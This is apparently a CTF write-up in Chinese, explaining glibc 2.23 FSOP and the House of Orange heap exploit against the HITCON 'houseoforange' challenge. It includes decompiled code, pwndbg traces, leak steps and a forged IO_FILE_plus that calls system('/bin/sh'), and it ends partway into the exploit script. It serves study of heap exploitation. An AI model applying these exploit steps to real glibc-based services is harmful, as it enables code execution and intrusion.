 R8   0x7ffff7dd1bc8 (main_arena+168) —▸ 0x7ffff7dd1bb8 (main_arena+152) —▸ 0x7ffff7dd1ba8 (main_arena+136) —▸ 0x7ffff7dd1b98 (main_arena+120) —▸ 0x7ffff7dd1b88 (main_arena+104) ◂— ...

 R9   0x0

 R10  0x46c

 R11  0x7ffff7b5afa0 (__memcpy_avx_unaligned) ◂— mov    rax, rdi

 R12  0x270f

 R13  0x7ffff7dd1b78 (main_arena+88) —▸ 0x624010 ◂— 0x0

 R14  0x7ffff7dd2510 ◂— 0x0

 R15  0x0

 RBP  0x20

 RSP  0x7fffffffdb60 ◂— 0x7fff00000002

*RIP  0x7ffff7a8ef60 (_int_malloc+976) ◂— mov    r10d, dword ptr [rip + 0x3421e9]

──────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────

 0x7ffff7a8ef60 <_int_malloc+976>     mov    r10d, dword ptr [rip + 0x3421e9] <0x7ffff7dd1150>

   0x7ffff7a8ef67 <_int_malloc+983>     or     dword ptr [rbx + 4], 4

   0x7ffff7a8ef6b <_int_malloc+987>     mov    eax, r10d

   0x7ffff7a8ef6e <_int_malloc+990>     and    eax, 5

   0x7ffff7a8ef71 <_int_malloc+993>     cmp    eax, 5

   0x7ffff7a8ef74 <_int_malloc+996>     je     _int_malloc+2173 <_int_malloc+2173>

   0x7ffff7a8ef7a <_int_malloc+1002>    test   r10b, 1

   0x7ffff7a8ef7e <_int_malloc+1006>    jne    _int_malloc+1312 <_int_malloc+1312>

    

   0x7ffff7a8f0b0 <_int_malloc+1312>    mov    rax, qword ptr [rsp + 0x10]

   0x7ffff7a8f0b5 <_int_malloc+1317>    lea    rdi, [r14 + 0x10]

   0x7ffff7a8f0b9 <_int_malloc+1321>    xor    ecx, ecx

──────────────────────────────────────────────────────────────[ SOURCE (CODE) ]───────────────────────────────────────────────────────────────

In file: /home/lzx/pwn/heap/IO_FILE/glibc-2.23/malloc/malloc.c

   3476       while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))

   3477         {

   3478           bck = victim->bk;

   3479           if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0)

   3480               || __builtin_expect (victim->size > av->system_mem, 0))

 3481             malloc_printerr (check_action, "malloc(): memory corruption",

   3482                              chunk2mem (victim), av);

   3483           size = chunksize (victim);

   3484

   3485           /*

   3486              If a small request, try to use last remainder if it is the

──────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────

00:0000│ rsp  0x7fffffffdb60 ◂— 0x7fff00000002

01:0008│      0x7fffffffdb68 ◂— 0xa /* '\n' */

02:0010│      0x7fffffffdb70 —▸ 0x7fffffffdbe0 ◂— 0x0

03:0018│      0x7fffffffdb78 —▸ 0x7ffff7b5048b (_dl_addr+443) ◂— add    rsp, 0x28

04:0020│      0x7fffffffdb80 ◂— 0x0

05:0028│      0x7fffffffdb88 —▸ 0x7fffffffdbe8 —▸ 0x7ffff7fd9000 —▸ 0x7ffff7a0d000 ◂— jg     0x7ffff7a0d047

06:0030│      0x7fffffffdb90 ◂— 0xffff800000002421 /* '!$' */

07:0038│      0x7fffffffdb98 —▸ 0x7fffffffdbdf ◂— 0x0

────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────

 ► f 0     7ffff7a8ef60 _int_malloc+976

   f 1     7ffff7a911d4 malloc+84

   f 2           4006cc main+246

   f 3     7ffff7a2d840 __libc_start_main+240

──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

pwndbg> x/4gx (char*)&main_arena+88   

0x7ffff7dd1b78 <main_arena+88>:    0x0000000000624010    0x0000000000000000

0x7ffff7dd1b88 <main_arena+104>:    0x0000000000602400    0x00007ffff7dd2510  <-- 0x00007ffff7dd2510就是victim

pwndbg> x/4gx (char*)&_IO_list_all-0x10 

0x7ffff7dd2510:    0x0000000000000000    0x0000000000000000

0x7ffff7dd2520 <_IO_list_all>:    0x00007ffff7dd1b78    0x0000000000000000

victimsize为0,不满足要求,触发异常,调用malloc_printerr (check_action, "malloc(): memory corruption", chunk2mem (victim), av);, 从而调用_IO_flush_all_lockp,进而fsop攻击成功。

3.2 ctf实例 - house of orange

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

[email protected]:~/pwn/heap/IO_FILE/house_of_orange$ checksec hitcon_houseoforange

[*] '/home/lzx/pwn/heap/IO_FILE/house_of_orange/hitcon_houseoforange'

    Arch:     amd64-64-little

    RELRO:    Full RELRO

    Stack:    Canary found

    NX:       NX enabled

    PIE:      PIE enabled

    FORTIFY:  Enabled

[email protected]:~/pwn/heap/IO_FILE/house_of_orange$ ./hitcon_houseoforange

+++++++++++++++++++++++++++++++++++++

@          House of Orange          @

+++++++++++++++++++++++++++++++++++++

 1. Build the house                 

 2. See the house                   

 3. Upgrade the house               

 4. Give up                         

+++++++++++++++++++++++++++++++++++++

Your choice :

ida分析

  • main

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)

{

  signed int v3; // eax

  sub_1218();

  while ( 1 )

  {

    while ( 1 )

    {

      menu();

      v3 = input_number();

      if ( v3 != 2 )

        break;

      see_house();                              // 2 - see the house

    }

    if ( v3 > 2 )

    {

      if ( v3 == 3 )

      {

        upgrade_house();                        // 3 - upgrade the house

      }

      else

      {

        if ( v3 == 4 )

        {

          puts("give up");                      // 4 - exit

          exit(0);

        }

LABEL_14:

        puts("Invalid choice");

      }

    }

    else

    {

      if ( v3 != 1 )

        goto LABEL_14;

      build_house();                            // 1 - build the house

    }

  }

}

  • input_number

1

2

3

4

5

6

7

8

9

__int64 input_number()

{

  char nptr; // [rsp+10h] [rbp-20h]

  unsigned __int64 v2; // [rsp+28h] [rbp-8h]

  v2 = __readfsqword(0x28u);

  _read_chk(0LL, &nptr, 15LL, 16LL);

  return (unsigned int)atoi(&nptr);             // 返回一个unsigned int

}

  • build_house:build一个house,会创建三个chunk
    • 最多能build4个house
    • 每个house包含一个orange和一个name
    • 每个orange包含price和color
    • 创建chunk的顺序:house、house_name、orange

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

int sub_D37()

{

  unsigned int house_name_len; // [rsp+8h] [rbp-18h]

  signed int color_of_orange; // [rsp+Ch] [rbp-14h]

  void *house; // [rsp+10h] [rbp-10h]

  _DWORD *orange; // [rsp+18h] [rbp-8h]

  if ( house_cnt > 3u )                         // 只能 build 4

  {

    puts("Too many house");

    exit(1);

  }

  house = malloc(0x10uLL);                      // 0x20大小的house chunk

  printf("Length of name :");

  house_name_len = input_number();

  if ( house_name_len > 0x1000 )

    house_name_len = 4096;

  *((_QWORD *)house + 1) = malloc(house_name_len);// house[1]存储house_name_chunk

  if ( !*((_QWORD *)house + 1) )

  {

    puts("Malloc error !!!");

    exit(1);

  }

  printf("Name :");

  input_string(*((void **)house + 1), house_name_len);// 往house_name_chunk输入house name

  orange = calloc(1uLL, 8uLL);

  printf("Price of Orange:", 8LL);

  *orange = input_number();                     // orange[0]存储price

  color_menu();

  printf("Color of Orange:");

  color_of_orange = input_number();

  if ( color_of_orange != 56746 && (color_of_orange <= 0 || color_of_orange > 7) )

  {

    puts("No such color");

    exit(1);

  }

  if ( color_of_orange == 56746 )               // orange[1]存储56746/color+30

    orange[1] = 56746;

  else

    orange[1] = color_of_orange + 30;

  *(_QWORD *)house = orange;                    // house[0]存储orange_chunk

  global_house = house;                         // 全局变量global_house存储的是最新的house chunk

  ++house_cnt;                                  // 计数加1

  return puts("Finish");

}

  • input_string

1

2

3

4

5

6

7

8

9

10

11

12

ssize_t __fastcall input_string(void *a1, unsigned int a2)

{

  ssize_t result; // rax

  result = read(0, a1, a2);                     // 没有NULL结尾处理,可能存在信息泄露漏洞!!!

  if ( (signed int)result <= 0 )

  {

    puts("read error");

    exit(1);

  }

  return result;

}

  • see_house:打印house的信息
    • 打印house name
    • 打印 orange price
    • 打印橘子

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

int see_house()

{

  int v0; // eax

  int result; // eax

  int v2; // eax

  if ( !global_house )

    return puts("No such house !");

  if ( *(_DWORD *)(*global_house + 4LL) == 56746 )

  {

    printf("Name of house : %s\n", global_house[1]);

    printf("Price of orange : %d\n", *(unsigned int *)*global_house);

    v0 = rand();

    result = printf("\x1B[01;38;5;214m%s\x1B[0m\n", qword_203080[v0 % 8]);

  }

  else

  {

    if ( *(_DWORD *)(*global_house + 4LL) <= 30 || *(_DWORD *)(*global_house + 4LL) > 37 )

    {

      puts("Color corruption!");

      exit(1);

    }

    printf("Name of house : %s\n", global_house[1]);

    printf("Price of orange : %d\n", *(unsigned int *)*global_house);

    v2 = rand();

    result = printf("\x1B[%dm%s\x1B[0m\n", *(unsigned int *)(*global_house + 4LL), qword_203080[v2 % 8]);

  }

  return result;

}

  • upgrade_house:更新house的信息
    • 可以更新house name
    • 可以更新orange 的price和color
    • 最多只能更新3次

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

int upgrade_house()

{

  _DWORD *v1; // rbx

  unsigned int v2; // [rsp+8h] [rbp-18h]

  signed int v3; // [rsp+Ch] [rbp-14h]

  if ( upgrade_cnt > 2u )                       // 最多只能更新3

    return puts("You can't upgrade more");

  if ( !global_house )

    return puts("No such house !");

  printf("Length of name :");

  v2 = input_number();

  if ( v2 > 0x1000 )

    v2 = 4096;

  printf("Name:");

  input_string((void *)global_house[1], v2);    // 直接在原house_name_chunk上输入数据,且长度没有限制,存在堆溢出漏洞

  printf("Price of Orange: ", v2);

  v1 = (_DWORD *)*global_house;

  *v1 = input_number();                         // 修改orange的price

  color_menu();

  printf("Color of Orange: ");

  v3 = input_number();

  if ( v3 != 56746 && (v3 <= 0 || v3 > 7) )

  {

    puts("No such color");

    exit(1);

  }

  if ( v3 == 56746 )                            // 修改orange的color

    *(_DWORD *)(*global_house + 4LL) = 56746;

  else

    *(_DWORD *)(*global_house + 4LL) = v3 + 30;

  ++upgrade_cnt;                                // 更新次数+1

  return puts("Finish");

}

漏洞

  • input_string函数中存在信息泄露漏洞
    • 创建chunk的顺序:house、house_name、orange
    • 因为input_string是用在house_name_chunk上的,所以调用see_house函数的时候可以泄露出name后面的内容
  • upgrade_house函数中存在堆溢出漏洞
    • 同样,是在输入house_name的时候存在溢出漏洞,所以可以溢出修改house_name_chunk后面的数据

思路

  • 没有free
  • 存在任意长度的堆溢出,能泄露chunk的内容
  • 观察一下house of orange的利用条件:
    • 堆溢出漏洞
      • 能修改top chunk的size(满足
        • 分配的chunk大小小于0x20000,大于top chunk的size
        • top chunk大小大于MINSIZE
        • top chunk的inuse等于1
        • top chunk的大小要对齐到内存页
      • 能修改bk ->unsortedbin attack -> 任意地址写 -> 修改IO_list_all的内容(满足
      • 能在top chunk伪造IO_FILEvtable满足
    • 能泄露chunk的内容 -> 泄露libc某个地址 -> 泄露出_IO_list_all的地址(满足
      • 能泄露哪里的内容?
        • name字符串后面的内容
      • name后面是否可能有libc中某个地址?
        • 当从unsortedbin里的old top chunk切割一个fastbin/smallbin大小的chunk给name的时候,name的fd/bk指向unsortedbin(main_arena+88)
        • 当从unsortedbin里的old top chunk切割一个largebin大小的chunk给name的时候,name的fd/bk指向largebin头,fd_nextsize/bk_nextsize指向name本身

调试分析

泄露_IO_list_all的地址

1.溢出修改top chunk的size

1

2

3

4

5

6

7

8

build(0x10,b'a'*8)

payload = b'b'*0x10  

payload += p64(0) + p64(0x21) + p32(0xdeadbeef) + p32(0xddaa) + p64(0

payload += p64(0) + p64(0xfa1)

upgrade(0x41,payload)

dbg()

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

pwndbg> heap

Allocated chunk | PREV_INUSE   

Addr: 0x5615bc55b000

Size: 0x21

Allocated chunk | PREV_INUSE   

Addr: 0x5615bc55b020

Size: 0x21

Allocated chunk | PREV_INUSE   

Addr: 0x5615bc55b040

Size: 0x21

Top chunk | PREV_INUSE         

Addr: 0x5615bc55b060

Size: 0xfa1

pwndbg> x/20gx 0x5615bc55b000

0x5615bc55b000:    0x0000000000000000    0x0000000000000021

0x5615bc55b010:    0x00005615bc55b050    0x00005615bc55b030

0x5615bc55b020:    0x0000000000000000    0x0000000000000021

0x5615bc55b030:    0x6262626262626262    0x6262626262626262

0x5615bc55b040:    0x0000000000000000    0x0000000000000021

0x5615bc55b050:    0x0000ddaadeadbeef    0x0000000000000000

0x5615bc55b060:    0x0000000000000000    0x0000000000000fa1   <-- top chunk的size被修改

0x5615bc55b070:    0x000000000000000a    0x0000000000000000

0x5615bc55b080:    0x0000000000000000    0x0000000000000000

0x5615bc55b090:    0x0000000000000000    0x0000000000000000

2.malloc一个更大的name chunk时,将top chunk释放到unsortedbin中

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

pwndbg> heap

Allocated chunk | PREV_INUSE   

Addr: 0x5606daf31000

Size: 0x21

Allocated chunk | PREV_INUSE   

Addr: 0x5606daf31020

Size: 0x21

Allocated chunk | PREV_INUSE   

Addr: 0x5606daf31040

Size: 0x21

Allocated chunk | PREV_INUSE   

Addr: 0x5606daf31060

Size: 0x21

Allocated chunk | PREV_INUSE   

Addr: 0x5606daf31080

Size: 0x21

Free chunk (unsortedbin) | PREV_INUSE         

Addr: 0x5606daf310a0

Size: 0xf41

fd: 0x7f41332deb78

bk: 0x7f41332deb78

Allocated chunk

Addr: 0x5606daf31fe0

Size: 0x10

Allocated chunk | PREV_INUSE

Addr: 0x5606daf31ff0

Size: 0x11

Allocated chunk

Addr: 0x5606daf32000

Size: 0x00

pwndbg> x/12gx 0x5606daf31060

0x5606daf31060:    0x0000000000000000    0x0000000000000021  

0x5606daf31070:    0x00005606daf31090    0x00005606daf52010  

0x5606daf31080:    0x0000000000000000    0x0000000000000021  

0x5606daf31090:    0x0000ddaadeadbeef    0x0000000000000000

0x5606daf310a0:    0x0000000000000000    0x0000000000000f41  

0x5606daf310b0:    0x00007f41332deb78    0x00007f41332deb78

pwndbg> x/4gx 0x5606daf31000+0x21000

0x5606daf52000:    0x0000000000000000    0x0000000000001011  

0x5606daf52010:    0x6363636363636363    0x000000000000000a

总结一下此时heap的变化:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

// 溢出修改topchunk的size之后heap的情况

| house1 |name1 |orange1 | ...........................old top chunk...........................| .. |

// build(0x1000,b'c'*8) - 分配house2

| house1 |name1 |orange1 | house2 |...................old top chunk...........................| .. |

// build(0x1000,b'c'*8) - 分配name2

| house1 |name1 |orange1 | house2 |...................old top chunk (free)....................| .. | name2 |new top chunk|

// build(0x1000,b'c'*8) - 分配orange2(由于old top chunk进入unosrtedbin,所以后面分配堆块都从old top chunk切割)

| house1 |name1 |orange1 | house2 | orange2 |.........old top chunk (free)....................| .. | name2 |new top chunk|

// 此时old top chunk的fd和bk是 main_arena+88,fd被覆盖成了price和color的值

// 这样是无法泄露main_arena的,所以需要继续切割old top chunk

3.再build一个house,泄露出_IO_list_all的地址:

  • 先malloc一个house_chunk(固定为0x20大小),先unlink old_top_chunk(很大,属于largebin),其fd和bk为unsortedbin的地址,然后切割一部分出来给用户。但是fd和bk后来会被覆盖为orange和name的地址;
  • 接着malloc一个name_chunk,同样先unlink old_top_chunk(很大,属于largebin),其fd和bk为对应largebin的地址,fd_nexesize和bk_nexesize指向old_top_chunk,然后切割一部分出来给用户。如果name_chunk足够大,输入的name字符串足够小,那么切割以后就会保留bk、fd_nextsize和bk_nextsize
  • 如果输入name字符串的时候为8个字节(包括回车符),那么在打印name的时候,就可以把此largebin链表头的地址给泄露出来,从而可计算得到libc基址,进而得到_IO_list_all/system等的地址。

1

2

3

4

5

6

7

8

9

10

11

build(0x400,b'd'*7)

see()

ru('ddddddd\n')

libc_addr = u64(r(6).ljust(8,"\x00")) - 0x3c5188

libc.address = libc_addr

io_list_all_addr = libc.sym['_IO_list_all']

system_addr = libc.sym['system']

leak('addr(_IO_list_all)',io_list_all_addr)

leak('addr(libc_base)',libc_addr)

leak('addr(system)',system_addr)

dbg()

当分配name3的时候,若申请的大小为largebin范围,由于old top chunk属于largebin范围,所以会先将其插入到largebin中,如下代码所示:

  • victim(old top chunk)的fd_nextsizebk_nextsize指向本身(切割后要变成name3)
  • victim(old top chunk)的fd和bk指向此largebin链表头
  • 下面这段代码结束以后,会从largebin将victim(old top chunk)unlink下来,并切割,但是不会再对切割下来的name3的fd/bk/fd_nextsize/bk_nextsize再做操作了,所以只要输入的name字符串够短,就会保留bk/fd_nexesizebk_nextsize,然后在后面泄露出来。

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

for (;; )

  {

    int iters = 0;

    while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))  // victim 是 old top chunk

      {

        bck = victim->bk;

        if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0)

            || __builtin_expect (victim->size > av->system_mem, 0))

          malloc_printerr (check_action, "malloc(): memory corruption",

                           chunk2mem (victim), av);

        size = chunksize (victim);

        // 当分配house3(0x20)的时候,会进入这里

        if (in_smallbin_range (nb) && // 如果要申请的chunk的size在smallbin范围内

            bck == unsorted_chunks (av) && // 而且bck指向main_arena+96那个“chunk”,也就是如果unsortedbin中只有一个free chunk

            victim == av->last_remainder && // 而且如果victim指向last_remainder

            (unsigned long) (size) > (unsigned long) (nb + MINSIZE)) // 而且如果victim大小满足要申请的chunk的大小

          {

            /* split and reattach remainder */

            remainder_size = size - nb;

            remainder = chunk_at_offset (victim, nb); // 切割剩下的remainder

            unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder;

            av->last_remainder = remainder;

            remainder->bk = remainder->fd = unsorted_chunks (av);

            if (!in_smallbin_range (remainder_size))

              {

                remainder->fd_nextsize = NULL;

                remainder->bk_nextsize = NULL;

              }

            set_head (victim, nb | PREV_INUSE |

                      (av != &main_arena ? NON_MAIN_ARENA : 0));

            set_head (remainder, remainder_size | PREV_INUSE);

            set_foot (remainder, remainder_size);

            check_malloced_chunk (av, victim, nb);

            void *p = chunk2mem (victim);

            alloc_perturb (p, bytes);

            return p;

          }

        /* remove from unsorted list */

        unsorted_chunks (av)->bk = bck;

        bck->fd = unsorted_chunks (av);

        /* Take now instead of binning if exact fit */

        if (size == nb)

          {

            ......

          }

        /* place chunk in bin */

        if (in_smallbin_range (size))  // 如果victim是smallbin范围大小,将victim插入smallbin

          {

            ......

          }

        else   // 如果victim是largebin范围大小,将victim插入largebin,走这里

          {

            victim_index = largebin_index (size);

            bck = bin_at (av, victim_index); // bck指向0x400对应的largebin

            fwd = bck->fd; // 因为该bin之前没有chunk,所以fwd也指向0x400对应的largebin

            /* maintain large bins in sorted order */

            if (fwd != bck) // 如果此largbin不为空,明显不是,不进去

              {

                ......

              }

            else  // 如果此largebin为空,将victim插入 fd_nextsize/bk_nextsize链表

              victim->fd_nextsize = victim->bk_nextsize = victim;

          }

        mark_bin (av, victim_index);

        victim->bk = bck; // 将victim插入fd/bk链表,其fd/bk均指向largebin链表头

        victim->fd = fwd;

        fwd->bk = victim;

        bck->fd = victim;

由上面的分析可知,当要分配的chunk属于smallbin大小范围(包括fastbin和smallbin)的时候,走完if (in_smallbin_range (nb) &&...这个判断的时候,就会切割old top chunk并返回给用户,name3不会有指向自身fd_nextsize/bk_nextsize。所以需要name3申请的大小为largebin大小

当分配name3的时候,单步调试上面代码,走到bck->fd = victim;的时候看一下各变量的值:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

pwndbg> p/x victim->fd  

$7 = 0x7f3b4b787188

pwndbg> x/gx victim->fd

0x7f3b4b787188 <main_arena+1640>:    0x00007f3b4b787178  

pwndbg> x/gx victim->bk

0x7f3b4b787188 <main_arena+1640>:    0x00007f3b4b787178

pwndbg> p/x victim->fd_nextsize 

$8 = 0x561a3863d0c0

pwndbg> p/x victim->bk_nextsize

$9 = 0x561a3863d0c0

pwndbg> x/gx victim->fd_nextsize

0x561a3863d0c0:    0x0000000000000000

pwndbg> x/gx victim->bk_nextsize

0x561a3863d0c0:    0x0000000000000000

pwndbg> heap

Allocated chunk | PREV_INUSE

Addr: 0x561a3863d000

Size: 0x21

Allocated chunk | PREV_INUSE

Addr: 0x561a3863d020

Size: 0x21

Allocated chunk | PREV_INUSE

Addr: 0x561a3863d040

Size: 0x21

Allocated chunk | PREV_INUSE

Addr: 0x561a3863d060

Size: 0x21

Allocated chunk | PREV_INUSE

Addr: 0x561a3863d080

Size: 0x21

Allocated chunk | PREV_INUSE

Addr: 0x561a3863d0a0

Size: 0x21

Allocated chunk | PREV_INUSE

Addr: 0x561a3863d0c0   

Size: 0xf21

Allocated chunk

Addr: 0x561a3863dfe0

Size: 0x10

Allocated chunk | PREV_INUSE

Addr: 0x561a3863dff0

Size: 0x11

Allocated chunk

Addr: 0x561a3863e000

Size: 0x00

pwndbg> vmmap  

LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA

    0x561a37161000     0x561a37164000 r-xp     3000 0      /home/lzx/pwn/heap/IO_FILE/house_of_orange/hitcon_houseoforange

    0x561a37363000     0x561a37364000 r--p     1000 2000   /home/lzx/pwn/heap/IO_FILE/house_of_orange/hitcon_houseoforange

    0x561a37364000     0x561a37365000 rw-p     1000 3000   /home/lzx/pwn/heap/IO_FILE/house_of_orange/hitcon_houseoforange

    0x561a3863d000     0x561a38680000 rw-p    43000 0      [heap]

    0x7f3b4b3c2000     0x7f3b4b582000 r-xp   1c0000 0      /lib/x86_64-linux-gnu/libc-2.23.so  

    0x7f3b4b582000     0x7f3b4b782000 ---p   200000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so

    0x7f3b4b782000     0x7f3b4b786000 r--p     4000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so

    0x7f3b4b786000     0x7f3b4b788000 rw-p     2000 1c4000 /lib/x86_64-linux-gnu/libc-2.23.so

    0x7f3b4b788000     0x7f3b4b78c000 rw-p     4000 0     

    0x7f3b4b78c000     0x7f3b4b7b2000 r-xp    26000 0      /lib/x86_64-linux-gnu/ld-2.23.so

    0x7f3b4b991000     0x7f3b4b994000 rw-p     3000 0     

    0x7f3b4b9b1000     0x7f3b4b9b2000 r--p     1000 25000  /lib/x86_64-linux-gnu/ld-2.23.so

    0x7f3b4b9b2000     0x7f3b4b9b3000 rw-p     1000 26000  /lib/x86_64-linux-gnu/ld-2.23.so

    0x7f3b4b9b3000     0x7f3b4b9b4000 rw-p     1000 0     

    0x7ffe4dcf5000     0x7ffe4dd16000 rw-p    21000 0      [stack]

    0x7ffe4dded000     0x7ffe4ddf0000 r--p     3000 0      [vvar]

    0x7ffe4ddf0000     0x7ffe4ddf2000 r-xp     2000 0      [vdso]

0xffffffffff600000 0xffffffffff601000 r-xp     1000 0      [vsyscall]

pwndbg> p/x 0x7f3b4b787188-0x7f3b4b3c2000 

$10 = 0x3c5188

再总结一下此时heap的变化:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

......

// build(0x1000,b'c'*8) - 分配orange2(由于old top chunk进入unosrtedbin,所以后面分配堆块都从old top chunk切割)

| house1 |name1 |orange1 | house2 | orange2 |.........old top chunk (free)....................| .. | name2 |new top chunk|

// build(0x400,b'd'*7) - 切割old top chunk,分配house3

| house1 |name1 |orange1 | house2 | orange2 | house3 | .......old top chunk (free)............| .. | name2 |new top chunk|

                                                                                        ----------

                                                                                  fd和bk被覆盖为orange3和name3的地址

// build(0x400,b'd'*7) - 切割old top chunk,分配name3

| house1 |name1 |orange1 | house2 | orange2 | house3 | name3 | ......... old top chunk (free) | .. | name2 |new top chunk|

                                                                                                ----------

                                                        fd被覆盖为ddddddd\n,bk还是largebin的地址,fd_nextsize和bk_nextsize是name3的地址

// build(0x400,b'd'*7) - 切割old top chunk,分配orange3

| house1 |name1 |orange1 | house2 | orange2 | house3 | name3 | orange3 | old top chunk (free) | .. | name2 |new top chunk|

泄露heap地址

由于fd_nextsize保留下来了,所以利用upgrade输入0x10个字符,并调用see,也就可以泄露出name3的地址,从而计算heap的地址。为后面修改vtable作准备。

1

2

3

4

5

6

7

8

9

upgrade(0x10,b'e'*0xf)

see()

ru('e'*0xf+'\n')

heap_addr = u64(r(6).ljust(8,"\x00")) - (0x20*6)

fake_vtable_addr = heap_addr + (0x20*6) + 0x410 + 0x20 + 0x8*12

leak('addr(heap)',heap_addr)

leak('addr(vtable)', fake_vtable_addr)

dbg()

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

pwndbg> heap

Allocated chunk | PREV_INUSE

Addr: 0x557e5f77b000

Size: 0x21

Allocated chunk | PREV_INUSE

Addr: 0x557e5f77b020

Size: 0x21

Allocated chunk | PREV_INUSE

Addr: 0x557e5f77b040

Size: 0x21

Allocated chunk | PREV_INUSE

Addr: 0x557e5f77b060

Size: 0x21

Allocated chunk | PREV_INUSE

Addr: 0x557e5f77b080

Size: 0x21

Allocated chunk | PREV_INUSE

Addr: 0x557e5f77b0a0

Size: 0x21

Allocated chunk | PREV_INUSE  

Addr: 0x557e5f77b0c0

Size: 0x411

Allocated chunk | PREV_INUSE

Addr: 0x557e5f77b4d0

Size: 0x21

Free chunk (unsortedbin) | PREV_INUSE

Addr: 0x557e5f77b4f0

Size: 0xaf1

fd: 0x7f3e2dba5b78

bk: 0x7f3e2dba5b78

Allocated chunk

Addr: 0x557e5f77bfe0

Size: 0x10

Allocated chunk | PREV_INUSE

Addr: 0x557e5f77bff0

Size: 0x11

Allocated chunk

Addr: 0x557e5f77c000

Size: 0x00

pwndbg> x/8gx 0x557e5f77b0c0

0x557e5f77b0c0:    0x0000000000000000    0x0000000000000411

0x557e5f77b0d0:    0x6565656565656565    0x0a65656565656565

0x557e5f77b0e0:    0x0000557e5f77b0c0   

0x557e5f77b0f0:    0x0000000000000000    0x0000000000000000

unsortedbin attack和fsop

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

payload = b'f'*0x400

payload += p64(0) + p64(0x21) + 2*p64(1)

fake_file = IO_FILE_plus()

fake_file._flags = 0x0068732f6e69622f

fake_file._IO_read_ptr = 0x61 

fake_file._IO_read_base = io_list_all_addr-0x10 

fake_file._IO_write_base = 0

fake_file._IO_write_ptr = 1

fake_file._mode = 0

fake_file._old_offset = system_addr

fake_file.vtable = fake_vtable_addr

fake_file.show()

payload += str(fake_file)

upgrade(0x1000,payload) 

dbg()

command(1)

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

IO_FILE_plus struct:

{

    _flags: 0x68732f6e69622f  // /bin/sh

    _IO_read_ptr: 0x61        // overwrite old_top_chunk's size

    _IO_read_end: 0x0

    _IO_read_base: 0x7fde9e8af510  // 篡改bk,unsortedbin attack

    _IO_write_base: 0x0      // 0

    _IO_write_ptr: 0x1       // 1

    _IO_write_end: 0x0

    _IO_buf_base: 0x0

    _IO_buf_end: 0x0

    _IO_save_base: 0x0

    _IO_backup_base: 0x0

    _IO_save_end: 0x0

    _markers: 0x0         // fake_vtable

    _chain: 0x0

    _fileno: 0x0

    _flags2: 0x0

    _old_offset: 0x7fde9e52f3a0   // 将fake_vtable的__overflow篡改为system地址

    _cur_column: 0x0

    _vtable_offset: 0x0

    _shortbuf: 0x0

    _lock: 0x0

    _offset: 0x0

    _codecvt: 0x0

    _wide_data: 0x0

    _freeres_list: 0x0

    _freeres_buf: 0x0

    __pad5: 0x0

    _mode: 0x0       // 0

    _unused2: 0x0

    vtable: 0x55f8c948f550   // 指向top[12],即_markers的地址

}

exp

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

from pwn import  *

from LibcSearcher import LibcSearcher

from sys import argv

from pwn_debug import *

context(log_level='debug',arch='amd64')

def ret2libc(leak, func, path=''):

    if path == '':

        libc = LibcSearcher(func, leak)

        base = leak - libc.dump(func)

        system = base + libc.dump('system')

        binsh = base + libc.dump('str_bin_sh')

    else:

        libc = ELF(path)

        base = leak - libc.sym[func]

        system = base + libc.sym['system']

        binsh = base + libc.search('/bin/sh').next()

    return (system, binsh)

s       = lambda data               :p.send(str(data))

sa      = lambda delim,data         :p.sendafter(str(delim), str(data))

